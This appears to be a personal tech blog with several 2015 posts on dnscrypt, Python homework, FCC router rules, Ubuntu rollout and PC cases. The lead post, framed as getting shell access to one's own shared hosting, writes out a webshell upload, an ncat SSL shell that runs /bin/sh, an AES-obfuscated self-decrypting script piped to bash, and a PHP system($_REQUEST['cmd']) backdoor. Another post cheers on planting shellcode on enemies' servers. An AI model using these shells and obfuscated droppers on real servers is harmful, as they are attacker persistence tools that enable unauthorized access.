Wednesday, December 30, 2015

Getting a Proper Shell in a Shared Hosting Environemnt

Ah, the internet.. such a wonderful place. At least, it's great until you are restricted to using a sucky, insecure protocol like ftp to manage your website. I don't understand why hosting providers don't give their users ssh access by default. Ssh is safer for you, and safer for them. Ftp is an ancient, clunky, slow, (and did I mention insecure) protocol. Of course, if you had purchased a VPS instead of a shared hosting service, you wouldn't be in this predicament. Alas, I've come to learn that sometimes you do not have that option (for instance, when you have to use a certain server for school). Here's a few ways to secure access to your server, get a proper shell, and do away with ftp for good.

The first thing you need to do is to figure out what php functions your hosting provider has not disabled. If you're as lucky as I was, than no functions will be disabled. If you're unlucky, php will be running in safe-mode, and in that case you may have to compile your own php extensions to replicate functions like shell_exec. An easy way to figure this out is to upload a webshell to the server, and see if it runs. I really like b374k, but there are many to choose from. Avoid any of the shells from c99shellphp, because as pretty as they are, they are also backdoored backdoor shells... all of them.

If you don't like b374k, or want to try something else, just search around github and you'll find something that suits you. After you upload the shell and change the password, try running a command. A simple 'ls' should tell you whether or not this is going to work.

Next, you need to enumerate the system a bit, and discover what programs the system has for you to use. The server I did this on generously gave us access to git, nc, ncat, perl, python, and a bunch of other cool stuff, including gcc! That is rare these days indeed, so please don't abuse these systems, because the admins will start locking things down if you do.

If you made it this far, you are in good shape. Every production linux box will have openssl on it, so we can utilize that to write a program that will emulate ssh access. If you have ncat, ruby, perl, php, or python, this will be a breeze. You are nearly guaranteed to have one of those. Hell, even openssl itself can be used as an encrypted reverse shell. While a webshell is nice, a proper shell is much better. While a bind shell would be ideal, it's probably not going to be possible to run one because the server is likely behind a firewall. Thus, we must use a reverse shell instead.

If you have ncat on the system, you can easily write a wrapper shell script, containing your self generated certificates and keys. Although nowhere near as secure as ssh, an ncat bind shell will give you a reasonable degree of security. It will certaintly be more secure than ftp ever could be.

First, generate your certficates.

FILENAME=server
 openssl genrsa -out $FILENAME.key 1024
 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
  cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
 chmod 600 $FILENAME.key
 chmod 600 $FILENAME.crt
 FILENAME=client
 openssl genrsa -out $FILENAME.key 1024
 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
  cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
 chmod 600 $FILENAME.key
 chmod 600 $FILENAME.crt
Next, write your wrapper script. Replace the certs and keys with your own, as well as the ip address of your server, and the port you will be listening on.


#!/bin/sh
dir=/tmp/
crt=/tmp//crt.crt
key=/tmp/key.key
host=127.0.0.1
port=443

genKeys(){
if [[ ! -f /tmp/$crt ]];then
rm $crt
fi


if [[ ! -f /tmp/$key]];then
rm $key
fi

 cat << _EOF_ > $crt
-----BEGIN CERTIFICATE-----
MIICWDCCAcGgAwIBAgIJAPnFd5At9X/DMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTUxMjMxMDUwODA4WhcNMjUxMjMxMDUwODA4WjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB
gQDjVl4FFYH5vLdbc3ilMGO71ytD0cX8czZxTAcP1OTpgaylYL+5I5VU2/hNiS3k
paNkc5p6oX9OzL2dF7zMocV0asdPpya8EfvJPfHdHp+0aQwzcYs+TSW/gSDxEZrK
sO2n/hdRKIed2tokPcZfSprTlkqFQox89UvkVQyO60yq+QIDAQABo1AwTjAdBgNV
HQ4EFgQUnNEBQxysOJ9fHlxtsFBH+tb2fFQwHwYDVR0jBBgwFoAUnNEBQxysOJ9f
HlxtsFBH+tb2fFQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOBgQCtiwae
ZMQ2B05nl9JDnuu6Ydjr/lDBU14Unb4rM+24Z+OWm35I9XvZDwiF+muSX4r0w9in
KrQnzDrpcRHOMZGMTuj1OAe7VaTfhddzgACW4nyfmxB5vWENoz8RPIZmLc4jKj1a
p9MS7kGvmWar41rWDEqjwegXw9Ltyl6ZxplAew==
-----END CERTIFICATE-----
_EOF_

cat << _EOF_ > $key
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDjVl4FFYH5vLdbc3ilMGO71ytD0cX8czZxTAcP1OTpgaylYL+5
I5VU2/hNiS3kpaNkc5p6oX9OzL2dF7zMocV0asdPpya8EfvJPfHdHp+0aQwzcYs+
TSW/gSDxEZrKsO2n/hdRKIed2tokPcZfSprTlkqFQox89UvkVQyO60yq+QIDAQAB
AoGBAIW4ZqNM7GAOjje/qyZXWULDJNLGkFOXHV31H25DhsaHHRtF1mA7OvpoTRym
ZRVKDNroWORrHCwoqBvAO7COM0rUJrTWDYrvEzmb1b6gVevfP/Y7kAzT/sUnF7O1
LlgNbTT0mJwA8ao3Ku8zQSFuqD4PAnGUPXF8nrZBMV3CeXeBAkEA9ugmZLAtUgI1
/ICNLsWNXueVSx7t1oUG2YllZdPw3T5/if/r518pb6d39hMr8PEY4h4J1sJxeM87
lt6sb+B+yQJBAOu1tyTeZsSAwLgFKYMcRkiuda8BLJGsFuxR0UZo5NbKWZc+myX8
VOHZkdCZlQNA+JT/f9iS2qsqHRXeQQXj8rECQQC4v3Cq+qCOspTOwSnjC3MCxmoR
ca0pTRSZBZPXo8Sg57jq+5H66FvK7hZ3DFVezih+WVenWIsriHTgKPICLIrxAkEA
2ergbZeoT1fx1LABFxQW7q9MYgWl3O/LKaTi5EOp/eKKPchFzDKjj0KFCuRS3fU9
XRNycRokTEbdKRCX8QgzoQJAYIA0n1g29cn/CAlyR6wHVcvam4v3L9HkyK7o5Ib1
ZeBSahWDqeJ7fXcVDpTeA5khIESBRZsGDt983PKAFOjcKQ==
-----END RSA PRIVATE KEY-----
_EOF_

chmod 600 $crt
chmod 600 $key
}
start(){
ncat --listen --ssl --ssl-cert
$crt --ssl-key $key $host $port -e /bin/sh &
}

genKeys > /dev/null 2>&1
start > /dev/null 2>&1 &


Save that is 'connect.sh' or whatever. Next, you could either upload that as is, or we could obfuscate it a little bit using openssl. Either way, if someone has access to the web host server, they will be able to read your keys. But, it's not too much trouble to add a layer of protection, albeit a thin layer, using openssl:

cat connect.sh | openssl enc -aes-128-cbc -a -salt -pass \ pass:ArxMogdqCye9iPn5RUj7UGmqs8O8i5Xw > connect-enc.sh

This will at least possibly stop a script kiddie from posting your keys in pastebin for a real hackers to screw you over with. What you're left with at this point is a giant block of apparently random alpha-numeric gibberish. To get the script to execute, you'll need to modify connect-enc.sh so that it automatically decrypts itself upon execution: (note I have trunicated a bunch of the ssl for the sake of format):

#!/bin/bash
echo -e "
U2FsdGVkX1+Ymj9gy0X4axiC1XIPP5nf4q/Y9esbU7GP1O+tGO/qCpsgW/hUFQxQ
d9GaOMk4MGh8lITmWMD1vV8SazdItGdr4/zpTSeSJnOYu0c3RDNDkQQkB+9uGl+7
 

c3RDNDkQQkB+9uGl+7----snip-----" | openssl enc -d -aes-128-cbc -base64 -a -salt -pass pass:'ArxMogdqCye9iPn5RUj7UGmqs8O8i5Xw' | bash

The import part here is the piping of the decrypted code, which is being passed from echo, to openssl, and finally to bash:

echo -e "$long_ass_key" | openssl enc -d -aes-128-cbc -base64 -a -salt -pass pass:'ArxMogdqCye9iPn5RUj7UGmqs8O8i5Xw' | bash'

Now upload that to your server, and create a php script to execute it for you. This way you can just do:

sleep 3 && curl server.com/execshell.php &
ncat -v --listen --ssl --ssl-cert server.pem --ssl-key server.pem 127.0.0.1 -p 4444
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on 127.0.0.1:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44762.
ls 

handle.sh morefiles evenmorefiles.txt

Great, it's working! Now, let's get a proper shell... i.e, a pty:

python -c 'import pty;pty.spawn("/bin/bash")'
me@mynixbox:~/Development/shells$



Perfect! We've got a pty bash shell, encrypted with ssl! This is great, but now we need that php script to start the connection for you, when you need it. This way you don't have to either have to leave the shell open all of the time, or log back in to your webshell every time you need to  initiate the connection. We could try to do something like this to initiate your connect back,

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

 which would be convenient, but chances are something like mod-security will prevent a script like that from working. There is likely a more elaborate way to get that functionality (just $ curl server/shell.php?cmd=whatever), I am not a php guru, so i don't know what it is. If you do, post a comment!

Perhaps it's better for everyone if we just define the one command that we need to run anyway. Create this file and upload it to the same directory as the encrypted shell script:

<?php
shell_exec
('./connectback.sh') 

?>

Now you're all set to initate the shell whenever you need to. Simply set up the handler and curl the php file as shown above. If you don't have ncat, than you probably have python, which is acutally an awesome platform for cooking up shells. Check out my python reverse ssl shell I wrote recently on my github. The process for using something like that is exactly the same. Next time I will go more in depth and highlight some more ways of maintaining access on webservers. That's all for now. Enjoy.

Sunday, November 22, 2015

Dear Anonymous;

There's no doubt that you have made the right decision taking on ISIS after the Paris attacks. You are a powerful group, and one that has proven it's capabilities time and time again. From Hal Turner to Scientology, I have always enjoyed watching you kick ass. There's just a couple of things that I'd like you to consider as you go forward.

Right now we are seeing these terrorists turn to the dark web for communication, and I hate to say it, but that is an unintended consequence of your campaign-- although it's also an inevitable outcome. You may be thinking of intercepting traffic traversing tor exit nodes that you control to unmask them. As far as I am concerned, that's fair game because exit node traffic is sent in plain text, and unless encrypted, nobody can have a reasonable expectation of privacy at that point anyway. However, I heard talk on IRC of attempting to backdoor software that these groups use for encrypted communications. That is slippery slope. and this is why...

While I doubt the majority of anons think that's a good idea, I'd like to remind you not to forget to uphold the open internet's values of respecting privacy, freedom of speech, and equal access. Of course terrorists deserve no such graces, but lots of activists, journalists, refuges, and probably even some of your own members rely on that software to communicate securely as well. Be mindful of collateral damages...

If we start enabling surveillance and opening security holes in communication software in the name of fighting terrorism, than we are no better than the NSA. Don't forget why you're in this field to begin with. If we inadvertently erode away our own freedoms than we'll loose this war without firing a shot. After all, freedom is kind of what this is all about, right?

On the other hand, if you can slip some shellcode onto a server belonging to these mindless radicals and unmask them, than by all means, go for it. Think of it like hunting-- know your target, and beyond. Don't let them get the better of you. That's all I wanted to say. Good luck.

Tuesday, November 17, 2015

NO, 'Encryption Backdoors in Software' Won't do a Damn Thing to 'Stop Terrorists Before They Act'


And here is why... This is a little script I wrote using ncat to demonstrate just how easy it is to generate your own private keys and have a secure SSL session, immune from backdoors, NSA pricks, Interpol, and God:

# generate some keys
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out \ $FILENAME.crt 


# server:
ncat --broker -- listen -- chat --ssl --ssl-cert $crt --ssl-key $key $host $port

# client:

 while true; do
                read -p ">> " message
                echo -e "[$name@$hostname:] $message "
        done | ncat --ssl-verify --ssl-trustfile $crt $host $port



The full scripts can be found here in case anyone is interested.  So this is just a very simple chat script using ncat, and good luck ever getting a 'backdoor' into ncat (lol), or openssl for that matter. All the source code for openssl can be found right here. All the ncat source can be found right here... so unless you plan on fundementally re...doing(?) the entire computer industry... good luck with that. Go do some real police work instead. I am getting sick of writing these blogs trying to explain why everything the government wants to do is not only a terrible idea, but makes no sense whatsoever. So I will end by linking you to Google and telling you to use your own damn brain.







Thursday, November 12, 2015

Bypassing UDP/443 Blocks for Dnscrypt-Proxy

I've long been a fan of dnscrypt-proxy. It solves what is perhaps the internet's biggest security issue-- the domain name system. DNS requests are sent in plain text and are easily intercepted and altered. Cache poisoning, MITM attacks, and attacks from Nazi system administrators are all possible and quite simple thanks to the aging protocol. And that is why everyone ought to be encrypting their DNS requests via something like dnscrypt-proxy.

Recently, I've noticed a sick trend gaining traction. Dnscrypt uses UDP port 443 for resolution requests, and it seems that a lot of ISP's are blocking this port and/or forcing their customers to fall back to plain-text DNS. Although theoretically the program can operate over TCP as well, it's sort of a pain because I keep strict outbound iptables policies on my systems. I don't like giving dnscrypt more outgoing ports than it needs, not to mention TCP is slower.

What really ticked me was when I figured out why dnscrypt was not working on Digital Ocean's servers whatsoever... Yeah, you guessed it-- they're blocking outbound requests on UDP/443. Well done, D.O.! Rather than surrender to such insanity, I turned to Google for help, and found a post on twitter (can't find it at the moment) explaining that Digital Ocean is indeed doing what I suspected, and in response, a couple of the dnscrypt servers are now listening on UDP 5353 as well.

This hack worked perfectly, and within a few minutes I had an encrypted DNS server working on one of my D.O. nodes again! This is especially important to me because I am also administering some OpenVPN servers, and I like to provide security to the clients by serving DNS to them through dnscrypt-proxy combined with unbound for caching.

If you are experiencing similar issues from ISP blocks, than give this a try. Depending on how you installed dnscrpypt, you will have a configuration file somewhere that designates which nameservers you are using. I typically use this script for installation, so mine is located at /etc/init.d/dnscrypt-proxy .

Open the file and make a couple modifications, and you'll be back in buisiness:

#! /bin/sh
### BEGIN INIT INFO
# Provides:          dnscrypt-proxy
# Required-Start:    $local_fs $network
# Required-Stop:     $local_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: dnscrypt-proxy
# Description:       dnscrypt-proxy secure DNS client
### END INIT INFO

# Authors: https://github.com/simonclausen/dnscrypt-autoinstall/graphs/contributors
# Project site: https://github.com/simonclausen/dnscrypt-autoinstall

PATH=/usr/sbin:/usr/bin:/sbin:/bin
DAEMON=/usr/local/sbin/dnscrypt-proxy
NAME=dnscrypt-proxy
PORT=5353
ADDRESS1=77.66.84.233:$PORT
ADDRESS2=176.56.237.171:$PORT
PNAME1=2.dnscrypt-cert.resolver2.dnscrypt.eu
PNAME2=2.dnscrypt-cert.resolver1.dnscrypt.eu
PKEY1=3748:5585:E3B9:D088:FD25:AD36:B037:01F5:520C:D648:9E9A:DD52:1457:4955:9F0A:9955
PKEY2=67C0:0F2C:21C5:5481:45DD:7CB4:6A27:1AF2:EB96:9931:40A3:09B6:2B8D:1653:1185:9C66

case "$1" in
  start)
    echo "Starting $NAME"
    $DAEMON --daemonize --ephemeral-keys --user=dnscrypt --local-address=127.0.0.1 --resolver-address=$ADDRESS1 --provider-name=$PNAME1 --provider-key=$PKEY1
    $DAEMON --daemonize --ephemeral-keys --user=dnscrypt --local-address=127.0.0.2 --resolver-address=$ADDRESS2 --provider-name=$PNAME2 --provider-key=$PKEY2
    ;;
  stop)
    echo "Stopping $NAME"
    pkill -f $DAEMON
    ;;
  restart)
    $0 stop
    $0 start
    ;;
  *)
    echo "Usage: /etc/init.d/dnscrypt-proxy {start|stop|restart}"
    exit 1
    ;;
esac

exit 0


There are only a couple nameserves listening on port 5353, so make sure you use one that is, such as 'dnscrypt.eu' . Now just restart the daemon:

service dnscrypt-proxy restart

OR

 /etc/init.d/dnscrypt-proxy restart

... and enjoy encrypted, untamperable DNS again!

By the way,  this blog is sort of moving to my new website, https://chev.tech. That's it for today.

Saturday, October 10, 2015

Learning Python

Python is one hell of a programming language. The flexibility with if statements, for example, is amazing. There's so many ways to do things.  More than this, but just to demonstrate the flexibility of being able to say:

if (this or that) or (not this and not that) or (that and not this)
    doSomething()
else:
    doSomethingElseEntirely()


.. is just plain liberating, from a programming point of view. To do that in bash, you'd probably have to do something like:

this = "true" 
that = "true" 
if [[ this == true && that == true]]
then
     do_STUFF()
elif
     [[that == true]] && [[this != true]]
else
     do_MORE_STUFF()
fi 

But than again, BASH will evaluate anything and everything as true, and there's also a /bin/true and /bin/false floating around, so that is not the most reliable code.. So we ought to use arithmetical operations:

#!/bin/bash

false=0
true=1

((false)) && echo false
((true)) && echo true
((!false)) && echo not false
((!true)) && echo not true


Python, however, is much more forgiving when it comes to boolean stuff (but not forgiving at all regarding indentation...) It also makes great use of parameter expansion. How many different ways can you calculate leap years? At least two that I know of. (Some kid in my class was asking for help with this one, so here ya go..)

########################
#!/usr/bin/env python  #
# Leap Year Calculator #
########################

# Declaring error messages here is a lot prettier than everywhere
erNocomp = ("Sorry... that doesn't compute!")
mathIsBroken = ("Something is terribly wrong here! Bailing!")

# Python does not seem to understand unset variables outside of functions so #declare them here:
year = ""
##########
# exit cleanly. got sick of programs crashing upon completion
def exit_0():
    while True:
        try:
            x = input("Press Ctrl + c to quit ")
        except KeyboardInterrupt:
                break
                exit(0)  
  
#

print("""
######################
# Is it a leap year? #
######################

"""
)
# Another library we can use to save some code
import calendar
# 1 will always equal 1; 1 will always return true.

# This is the standard way to validate input. Here we're just saying "till the  

# end of time, or until y = an integer, keep asking for input"
 while 1:
    try:

        y = int(input("Please enter a year...: "))
        break
    except ValueError:("That's not a year!")
    print (erNocomp)
    

#
# This is how to calculate leap years manually, because that was the assignment:

# I feel this is pretty straightforward...
#
# def isLEAP(year):
      return (y % 4 == 0 and y % 100 != 0) or (y % 400 == 0)
#
#   if
isLEAP(year):
#       print ("%s is a leapyear." % y)
#   elif not isLEAP(year):
#       print ("Nope")
#
# but its better to trust the calender library that's already meticulously #written.. this is another thing about python that I totally love-- all these #built in functions like isLeap(year) or toRoman(int) to calculate roman numerals

#
# I can pull it off using the math and the library in one if statement,
 

# for the sake of ultimate reliability.
#
######## Note how to combine variables and strings in output:

isOrIs = ("Python or math says %s is a leap year!" % y)
isntAndIsnt = ("Python and math says %s is not a leap year!" % y)
## Prepare for Transdimensional Scenarios
isAndIsnt = ("Python says it's a leapyear, math says not. What universe is this?")
isntAndIs = ("Python says it's not a leapyear, math says it is. What's going on here?")
#########
# Here I'm asking "does the math check out, and does calendar also say it's so?
#

if calendar.isleap(y) or
isLEAP(year):
    print(isOrIs)
    if
calendar.isleap(y) and not isLEAP(year):
        print (isAndIsnt)
    elif not
calendar.isleap(y) and isLEAP(year):
        print (IsntAndIs)
elif not
calendar.isleap(y) and not isLEAP(year):
    print (isntAndIsnt)
else:
    print(mathIsBroken) # just in case the universe ends or whatever
    exit(1)

#
# figured i needed a clean exit func at some point
#
exit_0()

# not a whole lot different than doing
# exit(0)
# just catches the traceback errors


Fun stuff, right? I've decided to post all my python homework scripts on Github, (after the due date, of course!) on the off chance someone learns something from them, but also for own record... Github is very reliable for backing up code and discs tend to fail as per Murphy's law...

That's all for today, folks. BTW does anyone have a CSS script or API for proper python colour coding? That'd be great.

Friday, October 9, 2015

How to Not Have One of *Those* Days

Did you feel a bit groggy after your alarm clock awoke you this morning? Did you roll over and say "Can't do it..", than snooze through 3 ten minute cycles causing you to have to rush out the door? That was how one of my mornings went last week, and the reason that happened is because I forgot to turn on sleep-tracking on my phone before I went to bed. There is this ingenious app called Sleep as Android, in case you have not heard of it, that utilizes your phones accelerometer to track your sleep patterns.

Don't follow? Sleep cycles are directly correlated with movement. Accelerometers are sensors that detect motion, and they're quite sensitive. So, if you put the phone on your mattress when you go to bed, the accelerometer can track movement, hence tracking sleep cycles. I read somewhere that this is almost as accurate as what the doctors use when conducting a sleep study, although I can't confirm that. However, I can confirm that when the app wakes me up, rather than a sleep-cycle naive alarm clock, I feel much more refreshed. I also got used to waking up feeling that way, and it really sucked waking up during deep sleep the other day.

I am groggy all day if I am awoken at the wrong time... This app has enabled me to function while adjusting from getting up at 3 PM to 6:40 AM over the last couple months. It's totally worth a try. It's also interesting to analyse your sleep patters, as the app nicely graphs it all out. You can also record noises to figure out what's waking you up, or detect snoring, etc.

This is the quantum age, and incredible technological advances are also improving quality of life. Smart phones are just computers with lots and lots of sensors, consequently they can be used for obscure purposes. I wonder what my phone will do next year? They used to say the sky is the limit. But we're way past the sky, as the space age started over 50 years ago. There are no more limits. Don't let an old fashioned alarm clock slow you down, try Sleep as Android. No, I was not paid to write this, I just think you ought to know.

Tuesday, September 22, 2015

Don't Mess With the Routers

I've been wondering when this would happen. It would simply make too much sense for the government to not interfere with our wireless routers, along with every other thing in the world. After I heard that they were going to classify 'intrusive' security software as 'weapons' and place 'export' restrictions on them, I knew that this would go one of only two ways:

The first, preferable, and (more) sensible way would be that our government would allow the domestic technological industries & open source community to keep innovating without counterproductive regulations and interference, so long as we don't 'export' any 'intrusive' security software to other nations. I may have even been okay with this to a point, especially considering that we don't want the Chinese, Russians, or whoever to use our own source code against us... Although it's not accurate to say that open source code is ours, or anyone’s, for that matter... it belongs to everyone. But the point is that I can understand that mentality, to a point.

The second possibility was that the government would begin to see open source code in general as a threat to the establishment, and begin to place restrictions on software development, or on the hardware that the software runs on. Well, that's exactly what's happening with wireless-routers right now, and that is really bad news for the people of planet Earth.

Modems, routers, and embedded devices in general are often the most insecure devices existing. They're also usually the weak point of any given network, mainly because many of them run on proprietary, closed-source software that is rarely (if ever!) updated. Millions of routers end up being turned into zombies, utilized by blood-sucking bot-nets and the like, because they are so insecure, and because the OEM's never update the firmware (like, ever...). I've had at least two experiences in which my router was taken over by a rogue piece of malware, and no matter how many times I reflashed the stock ROM, the virus would simply respawn, and the rest of my network would suffer as a result. Do you want to know how I fixed them? I installed OpenWRT on them, and now not only have they ran happily ever after, they're also about twice as fast, and posses roughly 100 times the functionality that they did running the stock TP-LINK & Netgear firmware. (Netgear routers are the worst routers ever, just so you know.)

The FCC claims that open source software like DD-WRT or OpenWRT allows users to do things like adjust their signal strength, or unlock channels that are illegal to use in the United States. They are (somewhat) correct about that. However, I seriously doubt that this has ever been a problem for anyone, anywhere. Everyone knows that if you run your router on channel 14, than some HAM operator will track you down and rat you out. Operating a pirate radio is a federal crime in the USA, and it's very easy to get caught. Obviously, there is another motive here. Could it be that the NSA does not like the fact that anyone with an IQ of 60 or higher can bypass their backdoors that come preinstalled with ~70% of router firmware on the market...? Hmm...

The FCC wants to force manufactures to lock down WiFi routers so that they cannot run firmware that is not signed by the manufactures key, exactly like what has happened to the Android market over the last couple years. And it's bullshit, doing nothing but making it slightly more difficult for developers, enthusiasts, and people wanting to reclaim a little privacy by running a custom ROM to do so. But at least we can still buy a developer phone with an unlocked bootloader!

"...so far, the commission has only told us that “versions of this open source software can be used as long as they do not add the functionality to modify the underlying operating characteristics of the RF [radio frequency] parameters. It depends on the manufacturer to provide us the information at the time of application on how such controls are implemented. We are looking for manufacturers of routers to take more responsibility to ensure that the devices cannot be easily modified.” [1]

Even if that statement turns out to be true, it still would suck because in my experience, tweaking the radio parameters has made my routers run about 200% better, and (guess what...)... I did all that without breaking any laws, or causing any interference to nearby devices. Not to mention that it's not as if DD-WRT suddenly gives you the power to turn your router into an ion cannon or a satellite jammer. WiFi radios operate within the very small, already noisy, but unlicensed 2.4 Ghz range, and cannot be tuned outside of that range with software modifications alone. And 5 Ghz routers are already tightly regulated, because you need a radio license to modify a device that operates in that range as it is now. The reason we have unlicensed radio spectrums is so that hobbyists and ordinary people can utilize them. Thus, the FCC's "concerns" about open source router firmware are totally reta'ded.

Another possible motivation for these restrictions is likely the increasing popularity of MeshNets. These are privately owned & maintained wireless, peer-to-peer networks. The most well known is Hyperboria. Meshnets are simply the product of the people of Earth trying to rebuild the internet:

The stated goal of Hyperboria is “to provide an alternative to the internet with the principles of security, scalability and decentralization at the core.” [2]

It's safe to say that meshnets could be viewed as a threat to the establishment. If they start blacklisting websites and step up the censorship of free speech, privately owned, decentralized networks will be the only thing standing in the way. Without a free, open, uncensored internet, humanity would still be in the dark, technology would never have gotten this advanced, and the governments would still be getting away with whatever the hell they wanted to. Freedom of information must be not infringed upon, in any way, shape, or form. There is so much at risk.

If this law ends up passing, I will never purchase another commercial router again. I will build my own from scratch using something like a Raspberry PI running Debian, a few CAT5 ports, and a couple of Atheros chipsets (I suppose I should buy them now while I still can). The security of every other device on your network depends on the security of your router. All of the traffic that traverses your network goes through the router at some point (unless you're plugged right into the modem), so you better be able to trust the damn thing!

The FCC ought to take a long walk off a short pier. They have not been doing their jobs very well as of late. They are supposed to protect the communications infrastructure, instead of stunting or belittling it. Please visit this site to learn more about this issue. The FCC's side of the story can be found here. And the public comment page, found here, does not work at this time. The deadline for pubic comments has been extended to sometime in November. I hope they fix their page before then.

Sunday, August 30, 2015

Deploying Mass Ubuntu Installations

Recently, I've been working on a project to help my community by improving their technical infrastructure. My main priority with this project is to give the source to the people. To liberate them from the chains of Microsoft, and of closed source, proprietary software in general. The time is right, considering Android (the most popular OS in the world right now) runs on the Linux kernel. I would say that Android has inadvertently nudged the open source subculture into the center stage of tech.

But along with any other type of freedom, you must go out of your way a little to take advantage of it. Free software is not exempt. In other words, there will be a bit of a learning curve, but it will be well worth it. This is why I chose to use Ubuntu as the ambassador, because it's probably the most user friendly distro for people that are used to running Windows. It has a very friendly and large support community on the internet that can be found in forums such as askubuntu.com. It is always on the bleeding edge, receives very frequent updates, and supports the largest amount of hardware, right out the box, than any other Linux distribution I've used.

I met with several different clients to give them a rundown of the operating system and show them what is included by default. For the most part, my clients were pleasantly surprised with Ubuntu, and it seemed to exceed their expectations regarding ease of use, cross platform compatibility, and the secure nature which allows one to never buy antivirus again.

But installing Ubuntu on 100 computers is definitively a redundant, time consuming task. Automating the post installation configuration is very easy with bash, but automating the actual installation itself is not quite so easy. However, there are a few measures that one can take to make it go as quickly & smoothly as possible.

First of all, you're going to want a few copies of installation media. While DVD's are cheap, you may want to use USB discs instead. That way you can take advantage of the a persistence volume, which will save things like your wifi password, username, etc. These are things that you would otherwise have to enter many, many times, so it's worth it. Installations also go much faster when using USB, simply because USB transfers data much faster than optical drives. However, you should make sure that you have a couple of mini net install iso's on hand (these will fit on CD-R's). Sometimes a computer will have a graphics card that does not agree with the standard installation media and will not work. In these cases, you have to use the net installer, and it works 99% of the time.

The other thing you will need is a password generator script and some sticker labels. It would be pretty lazily irresponsible to configure 100 computers with the same password, wouldn't you say? Here's a good one:

#!/bin/bash
# Random password generator. Originally by jbsnake, modified by crouse to use Upper case letters as well.
# Now also does error checking and fails if the input isn't numerical integers or if no input is given at all.
# Modified by Darkerego to save output with description so you can remember what the password is for.
# For obvious security reasons, this is better managed as root.
#if [ "$(id -u)" != "0" ]; then
#   echo "Run it as root." 1>&2
#   exit 1
#fi

if [[ -z "$1" || $1 = *[^0-9]* ]];
  then
   echo " ";
   echo "      ######### COMMAND FAILED ########## ";
   echo "      USAGE: $0 passwordlength";
   echo "      EXAMPLE: $0 10";
   echo "      Creates a random password 10 chars long.";
   echo "      ######### COMMAND FAILED ########## ";echo " ";
   exit
  else
   if [[ "$1" -lt "6" ]]
   then echo "Your password is less than 6 characters in length."
         echo "This is a security risk. Suggested length is 6 characters or longer !"
   fi
   RIGHTNOW=$(date +"%R %x")
   pwdlen=$1
   char=(0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V X W Y Z)
   max=${#char[*]}
   for i in `seq 1 $pwdlen`
      do
           let "rand=$RANDOM % 62"
      str="${str}${char[$rand]}"
      done
   echo $str ##| tee -a passwords
fi
echo 'Enter a password description'
read pwinfo; echo $RIGHTNOW : $pwinfo : $str >> /root/passwords
echo 'Warning: output saved to passwords file'
exit





Finally, you should choose a desktop environment. I started with Gnome, but half way through decided to do the other half with Unity. I really am not a Unity fan, but it may be easier to understand for new users, and I don't want to throw people off and give them a bad first impression of Linux. First impressions are everything, even in the technological world.

It also helps to have a post installation script. This is the one I have been using. I originally wrote it to configure my VPS servers, and adapted it for desktop systems. There are a lot of security related kernel tweaks and whatnot that really should be turned on by default. That and installing/removing certain software is what this script is for. If I ever have to do this again, I am going to take the time to figure out how to completely automate the installation. I mean all I should have to do is stick a disc in a drive, walk away, and come back to a fully configured, fully installed system.

Monday, August 17, 2015

Building a Badass Tower, Part III : Choosing a Case

Maybe this should be titled Part 2.5, but I don't know how to do a .5 in Roman Numerals (IIi ?). I'd like to highlight a few things I've learned during this project to counter some bad advice I've found lurking around the internet. There's all sorts of silly arguing on those forums, and than you have people writing articles that don't seem to have a clue what they're talking about. Sometimes I am one of those people, admittedly.

First of all, when planning to build a computer, do not cheap out on the case! I've seen a couple articles where the author says "Buy  the cheapest case possible." That's terrible advice, and I'll tell you why. Investing in a good case will allow you to upgrade, add parts, keep your hardware running cool, keep static electricity out, and even completely rebuild the computer one day, reusing that case. I'd even go so far as to recommend that you buy a cool looking case, because that will make you love your computer that much more, and motivate you to keep it functioning well. A little love goes a long way. However, one should find a good balance between aesthetics and functionality when choosing a case.

For example, my tower was originally custom built by a friend and came with a black steel gaming case. This case was not quite as cool looking as this Cooler Master case that I had lying around. The Cooler Master had trippy, quiet 80mm blue LED fans, and a pretty transparent blue acrylic side that allowed you to see all the components in action. It looked badass, but unfortunately it was not even close to a master of coolness due to a lack of fans and a poorly designed air intake. I ended up putting everything back into the original case, because that case has two 120mm front intake fans, a 120 mm side exhaust fan, a 136 mm top exhaust fan, and a 120 mm exhaust fan on the back. In contrast, the Cooler Master only has two 80mm front intake fans (with steel holes for intake that don't draw easily and get clogged easily too), and another 80 mm LED fan on the back. It'd be fine for a system that doesn't produce a lot of heat, but I like to over-clock my machines, so I wanted as much air circulation as possible. This is especially important when you have an Nvidia GPU, because those things freaking cook themselves to death, idling between 60 and 70 degrees Celsius and hitting upwards of 90 when doing these like even watching an HD movie when there are two monitors plugged in! Like, wtf Nvidia? Can't you, idk, maybe use higher quality heat sinks or something?

